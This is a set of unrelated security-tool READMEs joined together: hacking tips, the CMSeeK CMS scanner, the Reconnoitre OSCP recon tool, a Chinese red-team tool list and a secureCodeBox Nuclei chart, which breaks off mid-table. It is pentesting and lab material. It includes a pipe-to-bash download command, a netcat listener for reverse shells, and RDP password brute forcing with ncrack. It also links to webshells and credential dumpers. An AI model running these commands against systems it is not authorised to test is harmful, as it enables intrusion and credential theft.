`netstat -rn` or `ip route show` to show default Internet route. Use `curl cheat.sh/tar` to get TLDR help for tar. Works with any other linux command. Use `curl -fsSL bench.sh | bash` to speed test a server. Hacking over long latency links or slow links can be frustrating. Every keystroke is transmitted one by one and any typo becomes so much more frustrating and time consuming to undo. *rlwrap* comes to the rescue. It buffers all single keystrokes until *Enter* is hit and then transmits the entire line at once. This makes it so much easier to type at high speed, correct typos, ... Example for the receiving end of a revese tunnel: ```sh rlwrap --always-readline nc -vnlp 1524 ``` Example for *SSH*: ```sh rlwrap --always-readline ssh user@host ``` --- <a id="others"></a> ## 13. Other Sites 1. [Hacking HackingTeam - a HackBack](https://gist.github.com/jaredsburrows/9e121d2e5f1147ab12a696cf548b90b0) - Old but real talent at work. 2. [HTB absolute](https://0xdf.gitlab.io/2023/05/27/htb-absolute.html) - Well written and explained attack. 3. [Conti Leak](https://github.com/ForbiddenProgrammer/conti-pentester-guide-leak) - Windows hacking. Pragmatic. 4. [Red Team Notes](https://www.ired.team/) 6. [HackTricks](https://book.hacktricks.xyz/welcome/readme) 7. [Awesome Red Teaming](https://github.com/yeyintminthuhtut/Awesome-Red-Teaming) 8. [VulHub](https://github.com/vulhub/vulhub) - Test your exploits 9. [Qubes-OS](https://www.qubes-os.org/) - Desktop OS focused on security with XEN isolated (disposable) guest VMs (Fedora, Debian, Whonix out of the box) --- Shoutz: ADM, subz/#9x, DrWho, spoty Join us on [Telegram](https://t.me/thcorg). [!["Buy Me A Coffee"](https://www.buymeacoffee.com/assets/img/custom_images/yellow_img.png)](https://www.buymeacoffee.com/hackerschoice)
<p align='center'> <img src="https://i.imgur.com/n2U6nVH.png" alt="Logo"> <br> <a href="https://github.com/Tuhinshubhra/CMSeeK/releases/tag/v.1.1.0"><img src="https://img.shields.io/badge/Version-1.1.0-brightgreen.svg?style=style=flat-square" alt="version"></a> <a href="https://github.com/Tuhinshubhra/CMSeeK/"><img src="https://img.shields.io/badge/python-3-orange.svg?style=style=flat-square" alt="Python Version"></a> <a href="https://github.com/Tuhinshubhra/CMSeeK/stargazers"><img src="https://img.shields.io/github/stars/Tuhinshubhra/CMSeeK.svg" alt="GitHub stars" /></a> <a href="https://github.com/Tuhinshubhra/CMSeeK/blob/master/LICENSE"><img src="https://img.shields.io/github/license/Tuhinshubhra/CMSeeK.svg" alt="GitHub license" /></a> <a href="https://twitter.com/r3dhax0r"><img src="https://img.shields.io/twitter/url/https/github.com/Tuhinshubhra/CMSeeK.svg?style=social" alt="Twitter" /></a> </p> ## What is a CMS? > A content management system (CMS) manages the creation and modification of digital content. It typically supports multiple users in a collaborative environment. Some noteable examples are: *WordPress, Joomla, Drupal etc*. ## Release History ``` - Version 1.1.0 [28-08-2018] - Version 1.0.9 [21-08-2018] - Version 1.0.8 [14-08-2018] - Version 1.0.7 [07-08-2018] - Version 1.0.6 [23-07-2018] ... ``` [Changelog File](https://github.com/Tuhinshubhra/CMSeeK/blob/master/CHANGELOG) ## Functions Of CMSeek: - Basic CMS Detection of over 130 CMS - Drupal version detection - Advanced Wordpress Scans - Detects Version - User Enumeration - Plugins Enumeration - Theme Enumeration - Detects Users (3 Detection Methods) - Looks for Version Vulnerabilities and much more! - Advanced Joomla Scans - Version detection - Backup files finder - Admin page finder - Core vulnerability detection - Directory listing check - Config leak detection - Various other checks - Modular bruteforce system - Use pre made bruteforce modules or create your own and integrate with it ## Requirements and Compatibility: CMSeeK is built using **python3**, you will need python3 to run this tool and is compitable with **unix based systems** as of now. Windows support will be added later. CMSeeK relies on **git** for auto-update so make sure git is installed. ## Installation and Usage: It is fairly easy to use CMSeeK, just make sure you have python3 and git (just for cloning the repo) installed and use the following commands: - git clone `https://github.com/Tuhinshubhra/CMSeeK` - cd CMSeeK - pip/pip3 install -r requirements.txt For guided scanning: - python3 cmseek.py Else: - python3 cmseek.py -u <target_url> [...] Help menu from the program: ``` USAGE: python3 cmseek.py (for a guided scanning) OR python3 cmseek.py [OPTIONS] <Target Specification> SPECIFING TARGET: -u URL, --url URL Target Url -l LIST, -list LIST path of the file containing list of sites for multi-site scan (comma separated) RE-DIRECT: --follow-redirect Follows all/any redirect(s) --no-redirect Skips all redirects and tests the input target(s) USER AGENT: -r, --random-agent Use a random user agent --googlebot Use Google bot user agent --user-agent USER_AGENT Specify a custom user agent OUTPUT: -v, --verbose Increase output verbosity VERSION & UPDATING: --update Update CMSeeK (Requires git) --version Show CMSeeK version and exit HELP & MISCELLANEOUS: -h, --help Show this help message and exit --clear-result Delete all the scan result EXAMPLE USAGE: python3 cmseek.py -u example.com # Scan example.com python3 cmseek.py -l /home/user/target.txt # Scan the sites specified in target.txt (comma separated) python3 cmseek.py -u example.com --user-agent Mozilla 5.0 # Scan example.com using custom user-Agent Mozilla is 5.0 used here python3 cmseek.py -u example.com --random-agent # Scan example.com using a random user-Agent python3 cmseek.py -v -u example.com # enabling verbose output while scanning example.com ``` ## Checking For Update: You can check for update either from the main menu or use `python3 cmseek.py --update` to check for update and apply auto update. P.S: Please make sure you have `git` installed, CMSeeK uses git to apply auto update. ## Detection Methods: CMSeek detects CMS via the following: - HTTP Headers - Generator meta tag - Page source code - robots.txt ## Supported CMSs: CMSeeK currently can detect **133** CMSs, you can find the list on [cmss.py](https://github.com/Tuhinshubhra/CMSeeK/blob/master/cmseekdb/cmss.py) file which is present in the `cmseekdb` directory. All the cmss are stored in the following way: ``` cmsID = { 'name':'Name Of CMS', 'url':'Official URL of the CMS', 'vd':'Version Detection (0 for no, 1 for yes)', 'deeps':'Deep Scan (0 for no 1 for yes)' } ``` ## Scan Result: All of your scan results are stored in a json file named `cms.json`, you can find the logs inside the `Result\<Target Site>` directory, and as of the bruteforce results they're stored in a txt file under the site's result directory as well. Here is an example of the json report log: ![Json Log](https://i.imgur.com/5dA9jQg.png) ## Bruteforce Modules: CMSeek has a modular bruteforce system meaning you can add your custom made bruteforce modules to work with cmseek. A proper documentation for creating modules will be created shortly but in case you already figured out how to (pretty easy once you analyze the pre-made modules) all you need to do is this: 1. Add a comment exactly like this `# <Name Of The CMS> Bruteforce module`. This will help CMSeeK to know the name of the CMS using regex 2. Add another comment `### cmseekbruteforcemodule`, this will help CMSeeK to know it is a module 3. Copy and paste the module in the `brutecms` directory under CMSeeK's directory 4. Open CMSeeK and Rebuild Cache using `U` as the input in the first menu. 5. If everything is done right you'll see something like this (refer to screenshot below) and your module will be listed in bruteforce menu the next time you open CMSeeK. <p align='center'> <img alt="Cache Rebuild Screenshot" width="400px" src="https://i.imgur.com/2Brl7pl.png" /> </p> ## Need More Reasons To Use CMSeeK? If not anything you can always enjoy exiting CMSeeK *(please don't)*, it will bid you goodbye in a random goodbye message in various languages. Also you can try reading comments in the code those are pretty random and weird!!! ## Screenshots: <p align="center"> <img alt="Main Menu" width="600px" src="https://s8.postimg.cc/ha6754v6t/cmseek_-v_068.png" /> <br><em>Main Menu</em><br> <img alt="Scan Result" width="600px" src="https://s8.postimg.cc/f6vrxg0it/result.png" /> <br><em>Scan Result</em><br> <img alt="WordPress Scan Result" width="600px" src="https://i.imgur.com/CK4O1Yd.png" /> <br><em>WordPress Scan Result</em><br> </p> ## Opening issue: Please make sure you have the following info attached when opening a new issue: - Target - Exact copy of error or screenshot of error - Your operating system **Issues without these informations might not be answered!** ## Disclaimer: **Usage of CMSeeK for testing or exploiting websites without prior mutual consistency can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program.** ## License: CMSeeK is licensed under [GNU General Public License v3.0](https://github.com/Tuhinshubhra/CMSeeK/blob/master/LICENSE) ## Follow Me @r3dhax0r: [Twitter](https://twitter.com/r3dhax0r) || [Facebook](https://fb.com/r3dhax0r) || [Instagram](https://instagram.com/r3dhax0r) ## Team: [Team : Virtually Unvoid Defensive (VUD)](https://twitter.com/virtuallyunvoid)
![Reconnnoitre](https://github.com/codingo/Reconnoitre/blob/master/tank-152362_640.png) A reconnaissance tool made for the OSCP labs to automate information gathering and service enumeration whilst creating a directory structure to store results, findings and exploits used for each host, recommended commands to execute and directory structures for storing loot and flags. Contributions are more than welcome! [![Python 3.2|3.6](https://img.shields.io/badge/python-3.2|3.6-green.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg)](https://www.gnu.org/licenses/gpl-3.0.en.html) [![Build Status](https://travis-ci.org/codingo/Reconnoitre.svg?branch=master)](https://travis-ci.org/codingo/Reconnoitre) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) # Credit This tool is based heavily upon the work made public in Mike Czumak's (T_v3rn1x) OSCP review ([link](https://www.securitysift.com/offsec-pwb-oscp/)) along with considerable influence and code taken from Re4son's mix-recon ([link](https://whitedome.com.au/re4son/category/re4son/oscpnotes/)). Virtual host scanning is originally adapted from teknogeek's work which is heavily influenced by jobertabma's virtual host discovery script ([link](https://github.com/jobertabma/virtual-host-discovery)). # Usage This tool can be used and copied for personal use freely however attribution and credit should be offered to Mike Czumak who originally started the process of automating this work. | Argument | Description | | ------------- |:-------------| | -h, --help | Display help message and exit | | -t TARGET_HOSTS | Set either a target range of addresses or a single host to target. May also be a file containing hosts. | | -o OUTPUT_DIRECTORY | Set the target directory where results should be written. | | -w WORDLIST | Optionally specify your own wordlist to use for pre-compiled commands, or executed attacks. | | --dns DNS_SERVER | Optionally specify a DNS server to use with a service scan. | | --pingsweep | Write a new target.txt file in the OUTPUT_DIRECTORY by performing a ping sweep and discovering live hosts. | | --dnssweep | Find DNS servers from the list of target(s). | | --snmp | Find hosts responding to SNMP requests from the list of target(s). | | --services | Perform a service scan over the target(s) and write recommendations for further commands to execute. | | --snmpwalk | SNMP walk target hosts and save results. | | --hostnames | Attempt to discover target hostnames and write to hostnames.txt. | | --virtualhosts | Attempt to discover virtual hosts using the specified wordlist. This can be expended via discovered hostnames. | | --ignore-http-codes | Comma separated list of http codes to ignore with virtual host scans. | | --ignore-content-length | Ignore content lengths of specificed amount. This may become useful when a server returns a static page on every virtual host guess. | | --quiet | Supress banner and headers and limit feedback to grepable results. | | --execute | Execute shell commands from recommendations as they are discovered. Likely to lead to very long execution times depending on the wordlist being used and discovered vectors. | | --simple_exec | Execute non-brute forcing shell comamnds only commands as they are discovered. Likely to lead to very long execution times depending on the wordlist being used and discovered vectors. | | --quick | Move to the next target after performing a quick scan and writing first-round recommendations. | ## Usage Examples _Note that these are some examples to give you insight into potential use cases for this tool. Command lines can be added or removed based on what you wish to acomplish with your scan._ ### Scan a single host, create a file structure and discover services ``` python ./reconnoitre.py -t 192.168.1.5 -o /root/Documents/labs/ --services ``` An example output would look like: ``` root@kali:~/Documents/tools/reconnoitre/reconnoitre# python ./reconnoitre.py -t 192.168.1.5 --services -o /root/Documents/labs/ __ |"""\-= RECONNOITRE (____) An OSCP scanner [#] Performing service scans [*] Loaded single target: 192.168.1.5 [+] Creating directory structure for 192.168.1.5 [>] Creating scans directory at: /root/Documents/labs/192.168.1.5/scans [>] Creating exploit directory at: /root/Documents/labs/192.168.1.5/exploit [>] Creating loot directory at: /root/Documents/labs/192.168.1.5/loot [>] Creating proof file at: /root/Documents/labs/192.168.1.5/proof.txt [+] Starting quick nmap scan for 192.168.1.5 [+] Writing findings for 192.168.1.5 [>] Found HTTP service on 192.168.1.5:80 [>] Found MS SMB service on 192.168.1.5:445 [>] Found RDP service on 192.168.1.5:3389 [*] TCP quick scan completed for 192.168.1.5 [+] Starting detailed TCP/UDP nmap scans for 192.168.1.5 [+] Writing findings for 192.168.1.5 [>] Found MS SMB service on 192.168.1.5:445 [>] Found RDP service on 192.168.1.5:3389 [>] Found HTTP service on 192.168.1.5:80 [*] TCP/UDP Nmap scans completed for 192.168.1.5 ``` Which would also write the following recommendations file in the scans folder for each target: ``` [*] Found HTTP service on 192.168.1.50:80 [>] Use nikto & dirb / dirbuster for service enumeration, e.g [=] nikto -h 192.168.1.50 -p 80 > /root/Documents/labs/192.168.1.50/scans/192.168.1.50_nikto.txt [=] dirb http://192.168.1.50:80/ -o /root/Documents/labs/192.168.1.50/scans/192.168.1.50_dirb.txt -r -S -x ./dirb-extensions/php.ext [=] java -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -H -l /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -r /root/Documents/labs/192.168.1.50/scans/192.168.1.50_dirbuster.txt -u http://192.168.1.50:80/ [=] gobuster -w /usr/share/seclists/Discovery/Web_Content/common.txt -u http://192.168.1.50:80/ -s '200,204,301,302,307,403,500' -e > /root/Documents/labs/192.168.1.50/scans/192.168.1.50_gobuster_common.txt -t 50 [=] gobuster -w /usr/share/seclists/Discovery/Web_Content/cgis.txt -u http://192.168.1.50:80/ -s '200,204,301,307,403,500' -e > /root/Documents/labs/192.168.1.50/scans/192.168.1.50_gobuster_cgis.txt -t 50 [>] Use curl to retreive web headers and find host information, e.g [=] curl -i 192.168.1.50 [=] curl -i 192.168.1.50/robots.txt -s | html2text [*] Found MS SMB service on 192.168.1.5:445 [>] Use nmap scripts or enum4linux for further enumeration, e.g [=] nmap -sV -Pn -vv -p445 --script="smb-* -oN '/root/Documents/labs/192.168.1.5/nmap/192.168.1.5_smb.nmap' -oX '/root/Documents/labs/192.168.1.5/scans/192.168.1.5_smb_nmap_scan_import.xml' 192.168.1.5 [=] enum4linux 192.168.1.5 [*] Found RDP service on 192.168.1.5:3389 [>] Use ncrackpassword cracking, e.g [=] ncrack -vv --user administrator -P /root/rockyou.txt rdp://192.168.1.5 ``` ### Discover live hosts and hostnames within a range ``` python ./reconnoitre.py -t 192.168.1.1-252 -o /root/Documents/testing/ --pingsweep --hostnames ``` ### Discover live hosts within a range and then do a quick probe for services ``` python ./reconnoitre.py -t 192.168.1.1-252 -o /root/Documents/testing/ --pingsweep --services --quick ``` This will scan all services within a target range to create a file structure of live hosts as well as write recommendations for other commands to be executed based on the services discovered on these machines. Removing --quick will do a further probe but will greatly lengthen execution times. ### Discover live hosts within a range and then do probe all ports (UDP and TCP) for services ``` python ./reconnoitre.py -t 192.168.1.1-252 -o /root/Documents/testing/ --pingsweep --services ``` # Requirements This bare requirement for host and service scanning for this tool is to have both `nbtscan` and `nmap` installed. If you are not using host scanning and only wish to perform a ping sweep and service scan you can get away with only installing `nmap`. The outputted _findings.txt_ will often recommend additional tools which you may not have available in your distribution if not using Kali Linux. All requirements and recommendations are native to Kali Linux which is the recommended (although not required) distribution for using this tool. In addition to these requirements outputs will often refer to Wordlists that you may need to find. If you are undertaking OSCP these can be found in the "List of Recommended Tools" thread by g0tmilk. If not then you can find the majority of these online or already within a Kali Linux installation.
# Red Team Attack ⚠️此项目同步至:https://forum.ywhack.com/bountytips.php?redteam 🙏欢迎提Issues进行推荐! ### **红队武器库** > 信息收集类 * [2021.01.19] - [EHole(棱洞)-红队重点攻击系统指纹探测工具](https://github.com/EdgeSecurityTeam/EHole) * [2021.01.19] - [ESTeye(棱眼)-红蓝攻防中快速定位目标的真实资产](https://github.com/EdgeSecurityTeam/ESTeye) * [2021.01.19] - [Nmap 好用的端口扫描工具](https://nmap.org/) * [2021.01.19] - [DarkEye 渗透测试情报收集工具](https://github.com/zsdevX/DarkEye) * [2021.01.19] - [AppInfoScanner 适用于红队的移动端(Android、iOS、WEB、H5、静态网站)信息收集工具](https://github.com/kelvinBen/AppInfoScanner) * [2021.01.19] - [GitDorker Python程序,使用Github dorks从Github搜索敏感信息](https://github.com/obheda12/GitDorker) * [2021.01.19] - [sherlock - 通过社交网络上的用户名搜寻社交媒体帐户](https://github.com/sherlock-project/sherlock) * [2021.01.19] - [ServerScan一款使用Golang开发的高并发网络扫描、服务探测工具](https://github.com/Adminisme/ServerScan) * [2021.01.19] - [Railgun是一款GUI界面的渗透工具,综合类的扫描工具](https://github.com/lz520520/railgun) * [2021.01.19] - [OneForAll是一款功能强大的子域收集工具](https://github.com/shmilylty/OneForAll) * [2021.01.20] - [dirsearch - Web path scanner 目录扫描工具](https://github.com/maurosoria/dirsearch) * [2021.01.20] - [ffuf 用Go编写的模糊测试工具](https://github.com/ffuf/ffuf) * [2021.01.20] - [用Rust编写的快速,简单,递归的内容发现工具](https://github.com/epi052/feroxbuster) > 漏洞扫描\安全评估类 * [2021.01.19] - [一款功能强大的安全评估工具 - Xray](https://github.com/chaitin/xray) * [2021.01.19] - [pocsuite3 开源的远程漏洞测试框架](https://github.com/knownsec/pocsuite3) * [2021.01.19] - [网络安全测试工具 - Goby](https://github.com/gobysec/Goby) * [2021.01.19] - [Myscan 被动扫描器](https://github.com/amcai/myscan) * [2021.01.19] - [kunpeng是一个Golang编写的开源POC框架/库](https://github.com/opensec-cn/kunpeng) * [2021.01.20] - [pocscan PoC扫描器 主要用于指纹识别后,进行漏洞精准扫描](https://github.com/DSO-Lab/pocscan) > 漏洞利用\WebShell\网站管理\后渗透类 * [2021.01.20] - [Metasploit Framework](https://github.com/rapid7/metasploit-framework) * [2021.01.20] - [Mimikatz Windows 密码抓取神器](https://github.com/gentilkiwi/mimikatz) * [2021.01.20] - [“冰蝎”动态二进制加密网站管理客户端](https://github.com/rebeyond/Behinder) * [2021.01.20] - [Cknife 中国菜刀](https://github.com/Chora10/Cknife) * [2021.01.20] - [基于 poweshell 的命令执行框架 后渗透利器](https://github.com/EmpireProject/Empire) * [2021.01.20] - [中国蚁剑是一款跨平台的开源网站管理工具](https://github.com/2Quico/antSword) * [2021.01.20] - [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla) * [2021.01.20] - [网络测试中的瑞士军刀,包含 impacket、PowerSploit 等多种模块](https://github.com/byt3bl33d3r/CrackMapExec) * [2021.01.20] - [windows-kernel-exploits Windows平台提权漏洞集合](https://github.com/SecWiki/windows-kernel-exploits) * [2021.01.20] - [linux-kernel-exploits Linux平台提权漏洞集合](https://github.com/SecWiki/linux-kernel-exploits) * [2021.01.20] - [BurpSuite 一个Web应用程序集成攻击平台](https://down.52pojie.cn/?query=burpsuite) * [2021.01.20] - [各种类型的Webshel​​l 后门收藏](https://github.com/xl7dev/WebShell) > 脚本聚合类 * [2021.01.19] - [Bug Bounty Tools (一些实用的赏金Python脚本)](https://github.com/m4ll0k/Bug-Bounty-Toolz) * [2021.01.19] - [FofaSpider Fofa爬虫支持高级查询语句批量爬取](https://github.com/KpLi0rn/FofaSpider) * [2021.01.20] - [fofa2Xray 一款联合fofa与xray的自动化批量扫描工具](https://github.com/piaolin/fofa2Xray) * [2021.01.20] - [SScan 一款src捡洞扫描器](https://github.com/yhy0/SScan) * [2021.01.20] - [hscan 集成crawlergo、xray、dirsearch、nmap等工具的src挖掘工具](https://github.com/zongdeiqianxing/hscan) ### **红队漏洞库** > 历史漏洞库,最新漏洞PoC/Exp,快速检索。 * [2021.01.19] - [棱角社区对外进行公布一些最新漏洞](https://github.com/EdgeSecurityTeam/Vulnerability) * [2021.01.19] - [Exploit-DB](https://www.exploit-db.com/) * [2021.01.19] - [知道创宇 Seebug](https://www.seebug.org/) * [2021.01.19] - [WooYun 历史漏洞](http://wy.zone.ci) * [2021.01.19] - [Metasploit 利用模块](https://www.rapid7.com/db/) ### **红队资料库** > 奇淫技巧,文库资料,来这里找。 * [2021.01.19] - [Book of BugBounty Tips](https://gowsundar.gitbook.io/book-of-bugbounty-tips/) * [2021.01.19] - [Red Team Tips](https://vincentyiu.com/red-team-tips/) * [2021.01.19] - [Awesome-Red-Teaming 一些优秀的红队资料](https://github.com/yeyintminthuhtut/Awesome-Red-Teaming) * [2021.01.19] - [应用程序的一些安全备忘](https://0xn3va.gitbook.io/cheat-sheets/) * [2021.01.19] - [狼组公开知识库](https://wiki.wgpsec.org/knowledge/) * [2021.01.19] - [知道创宇 Paper](https://paper.seebug.org/) * [2021.01.19] - [先知技术社区](https://xz.aliyun.com/) * [2021.01.19] - [红队中易被攻击的一些重点系统漏洞整理](https://github.com/r0eXpeR/redteam_vul) * [2021.01.19] - [黑客,渗透测试者和安全研究人员的各种出色列表的集合](https://github.com/Hack-with-Github/Awesome-Hacking) * [2021.01.19] - [实用的一些Payload和一些bypass技巧](https://github.com/swisskyrepo/PayloadsAllTheThings) * [2021.01.19] - [KingOfBugBountyTips](https://github.com/KingOfBugbounty/KingOfBugBountyTips) * [2021.01.19] - [优秀的安全编排、自动化和响应(SOAR)清单](https://github.com/correlatedsecurity/Awesome-SOAR) * [2021.01.19] - [红蓝对抗及护网资料分享](http://hackdig.com/10/hack-181850.htm) * [2021.01.20] - [收集的一些有质量安全文章](https://github.com/tom0li/collection-document) * [2021.01.20] - [Red-Team-Infrastructure-Wiki 红队基础建设WIKI](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki) * [2021.01.20] - [一些赏金技巧、知识和一些脚本](https://six2dez.gitbook.io/pentest-book/) * [2021.01.20] - [Purple Teaming 一些红队相关的技术分享](https://www.reddit.com/r/purpleteamsec/) * [2021.01.20] - [MSSQL注入提权,bypass的一些总结](https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI) * [2021.01.20] - [redteam-notebook 红队笔记](https://github.com/foobarto/redteam-notebook) * [2021.01.20] - [关于红队方面的学习资料](https://github.com/zhaoweiho/redteam-tips) ### **在线工具库** > 实用的在线工具推荐。 * [2021.01.19] - [FOFA.so](https://fofa.so/) * [2021.01.19] - [企查查](https://www.qcc.com/) * [2021.01.19] - [百度爱企查(免费)](https://aiqicha.baidu.com/) * [2021.01.19] - [IPIP.NET](https://www.ipip.net/) * [2021.01.19] - [CMD5 在线解密](https://www.cmd5.com/) * [2021.01.19] - [SOMD5 在线解密](https://www.somd5.com/) * [2021.01.19] - [CTF 在线工具箱](http://ctf.ssleye.com/) * [2021.01.19] - [Windows 提权辅助工具](https://i.hacking8.com/tiquan/) 此项目不定期进行更新......
--- title: "Nuclei" category: "scanner" type: "Website" state: "released" appVersion: "v2.9.10" usecase: "Nuclei is a fast, template based vulnerability scanner." --- <!-- SPDX-FileCopyrightText: the secureCodeBox authors SPDX-License-Identifier: Apache-2.0 --> <!-- .: IMPORTANT! :. -------------------------- This file is generated automatically with `helm-docs` based on the following template files: - ./.helm-docs/templates.gotmpl (general template data for all charts) - ./chart-folder/.helm-docs.gotmpl (chart specific template data) Please be aware of that and apply your changes only within those template files instead of this file. Otherwise your changes will be reverted/overwritten automatically due to the build process `./.github/workflows/helm-docs.yaml` -------------------------- --> <p align="center"> <a href="https://opensource.org/licenses/Apache-2.0"><img alt="License Apache-2.0" src="https://img.shields.io/badge/License-Apache%202.0-blue.svg"/></a> <a href="https://github.com/secureCodeBox/secureCodeBox/releases/latest"><img alt="GitHub release (latest SemVer)" src="https://img.shields.io/github/v/release/secureCodeBox/secureCodeBox?sort=semver"/></a> <a href="https://owasp.org/www-project-securecodebox/"><img alt="OWASP Lab Project" src="https://img.shields.io/badge/OWASP-Lab%20Project-yellow"/></a> <a href="https://artifacthub.io/packages/search?repo=securecodebox"><img alt="Artifact HUB" src="https://img.shields.io/endpoint?url=https://artifacthub.io/badge/repository/securecodebox"/></a> <a href="https://github.com/secureCodeBox/secureCodeBox/"><img alt="GitHub Repo stars" src="https://img.shields.io/github/stars/secureCodeBox/secureCodeBox?logo=GitHub"/></a> <a href="https://twitter.com/securecodebox"><img alt="Twitter Follower" src="https://img.shields.io/twitter/follow/securecodebox?style=flat&color=blue&logo=twitter"/></a> </p> ## What is Nuclei Nuclei is used to send requests across targets based on a template leading to zero false positives and providing fast scanning on large number of hosts. Nuclei offers scanning for a variety of protocols including TCP, DNS, HTTP, File, etc. With powerful and flexible templating, all kinds of security checks can be modelled with Nuclei. To learn more about the Nuclei scanner itself visit [Nuclei GitHub] or [Nuclei Website]. ## Deployment The nuclei chart can be deployed via helm: ```bash # Install HelmChart (use -n to configure another namespace) helm upgrade --install nuclei secureCodeBox/nuclei ``` ## Scanner Configuration The following security scan configuration example are based on the [Nuclei Documentation], please take a look at the original documentation for more configuration examples. ```bash nuclei -h Nuclei is a fast, template based vulnerability scanner focusing on extensive configurability, massive extensibility and ease of use. Usage: nuclei [flags] Flags: TARGET: -u, -target string[] target URLs/hosts to scan -l, -list string path to file containing a list of target URLs/hosts to scan (one per line) TEMPLATES: -tl list all available templates -t, -templates string[] template or template directory paths to include in the scan -w, -workflows string[] list of workflows to run -nt, -new-templates run newly added templates only -validate validate the passed templates to nuclei FILTERING: -tags string[] execute a subset of templates that contain the provided tags -include-tags string[] tags from the default deny list that permit executing more intrusive templates -etags, -exclude-tags string[] exclude templates with the provided tags -include-templates string[] templates to be executed even if they are excluded either by default or configuration -exclude-templates, -exclude string[] template or template directory paths to exclude -severity, -impact string[] execute templates that match the provided severities only -author string[] execute templates that are (co-)created by the specified authors OUTPUT: -o, -output string output file to write found issues/vulnerabilities -silent display findings only -v, -verbose show verbose output -vv display extra verbose information -nc, -no-color disable output content coloring (ANSI escape codes) -json write output in JSONL(ines) format -irr, -include-rr include request/response pairs in the JSONL output (for findings only) -nm, -no-meta don't display match metadata -rdb, -report-db string local nuclei reporting database (always use this to persist report data) -me, -markdown-export string directory to export results in markdown format -se, -sarif-export string file to export results in SARIF format CONFIGURATIONS: -config string path to the nuclei configuration file -rc, -report-config string nuclei reporting module configuration file -H, -header string[] custom headers in header:value format -V, -var value custom vars in var=value format -r, -resolvers string file containing resolver list for nuclei -system-resolvers use system DNS resolving as error fallback -passive enable passive HTTP response processing mode -env-vars Enable environment variables support INTERACTSH: -no-interactsh do not use interactsh server for blind interaction polling -interactsh-url string self-hosted Interactsh Server URL (default "https://interact.sh") -interactions-cache-size int number of requests to keep in the interactions cache (default 5000) -interactions-eviction int number of seconds to wait before evicting requests from cache (default 60) -interactions-poll-duration int number of seconds to wait before each interaction poll request (default 5) -interactions-cooldown-period int extra time for interaction polling before exiting (default 5) RATE-LIMIT: -rl, -rate-limit int maximum number of requests to send per second (default 150) -rlm, -rate-limit-minute int maximum number of requests to send per minute -bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25) -c, -concurrency int maximum number of templates to be executed in parallel (default 10) OPTIMIZATIONS: -timeout int time to wait in seconds before timeout (default 5) -retries int number of times to retry a failed request (default 1) -project use a project folder to avoid sending same request multiple times -project-path string set a specific project path (default "/var/folders/xq/zxykn5wd0tx796f0xhxf94th0000gp/T/") -spm, -stop-at-first-path stop processing HTTP requests after the first match (may break template/workflow logic) HEADLESS: -headless enable templates that require headless browser support -page-timeout int seconds to wait for each page in headless mode (default 20) -show-browser show the browser on the screen when running templates with headless mode DEBUG: -debug show all requests and responses -debug-req show all sent requests -debug-resp show all received responses -proxy, -proxy-url string URL of the HTTP proxy server -proxy-socks-url string URL of the SOCKS proxy server -trace-log string file to write sent requests trace log -version show nuclei version -tv, -templates-version shows the version of the installed nuclei-templates UPDATE: -update update nuclei to the latest released version -ut, -update-templates update the community templates to latest released version -nut, -no-update-templates Do not check for nuclei-templates updates -ud, -update-directory string overwrite the default nuclei-templates directory (default "/Users/robert/nuclei-templates") STATISTICS: -stats display statistics about the running scan -stats-json write statistics data to an output file in JSONL(ines) format -si, -stats-interval int number of seconds to wait between showing a statistics update (default 5) -metrics expose nuclei metrics on a port -metrics-port int port to expose nuclei metrics on (default 9092) ``` ## Requirements Kubernetes: `>=v1.11.0-0` ## Install Nuclei without Template Cache CronJob / PersistentVolume Nuclei uses dynamic templates as its scan rules, these determine which requests are performed and which responses are considered to be a finding. These templates are usually dynamically downloaded by nuclei from GitHub before each scan. When you are running dozens of parallel nuclei scans you quickly run into situations where GitHub will rate limit you causing the scans to fail. To avoid these errors we included a CronJob which periodically fetches the current templates and writes them into a kubernetes PersistentVolume (PV). This volume is then mounted (as a `ReadOnlyMany` mount) into every scan so that nuclei scans have the up-to-date templates without having to download them on every scan. Unfortunately not every cluster supports the required `ReadOnlyMany` volume type. In these cases you can disable the template cache mechanism by setting `nucleiTemplateCache.enabled=false`. Note thought, that this will limit the number of scans you can run in parallel as the rate limit will likely cause some of the scans to fail. ```bash helm install nuclei secureCodeBox/nuclei --set="nucleiTemplateCache.enabled=false" ``` ## Values | Key | Type | Default | Description | |-----|------|---------|-------------| | cascadingRules.enabled | bool | `false` | Enables or disables the installation of the default cascading rules for this scanner | | imagePullSecrets | list | `[]` | Define imagePullSecrets when a private registry is used (see: https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/) | | nucleiTemplateCache.accessMode | list | `["ReadWriteOnce","ReadOnlyMany"]` | Depending on your setup you can define the pvc access mode for one `ReadWriteOnce` or multiple node clusters `ReadWriteMany` | | nucleiTemplateCache.concurrencyPolicy | string | `"Replace"` | Determines how kubernetes handles cases where multiple instances of the cronjob would work if they are running at the same time. See: https://kubernetes.io/docs/tasks/job/automated-tasks-with-cron-jobs/#concurrency-policy | | nucleiTemplateCache.enabled | bool | `true` | Enables or disables the use of an persistent volume to cache the always downloaded nuclei-templates for all scans. | | nucleiTemplateCache.failedJobsHistoryLimit | int | `10` | Determines how many failed jobs are kept until kubernetes cleans them up. See: https://kubernetes.io/docs/tasks/job/automated-tasks-with-cron-jobs/#jobs-history-limits | | nucleiTemplateCache.schedule | string | `"0 */1 * * *"` | The schedule indicates when and how often the nuclei template cache should be updated | | nucleiTemplateCache.successfulJobsHistoryLimit | int | `3` | Determines how many successful jobs are kept until kubernetes cleans them up. See: https://kubernetes.io/docs/tasks/job/automated-tasks-with-cron-jobs/#jobs-history-limits | | parser.affinity | object | `{}` | Optional affinity settings that control how the parser job is scheduled (see: https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes-using-node-affinity/) | | parser.env | list | `[]` | Optional environment variables mapped into each parseJob (see: https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/) | | parser.image.pullPolicy | string | `"IfNotPresent"` | Image pull policy. One of Always, 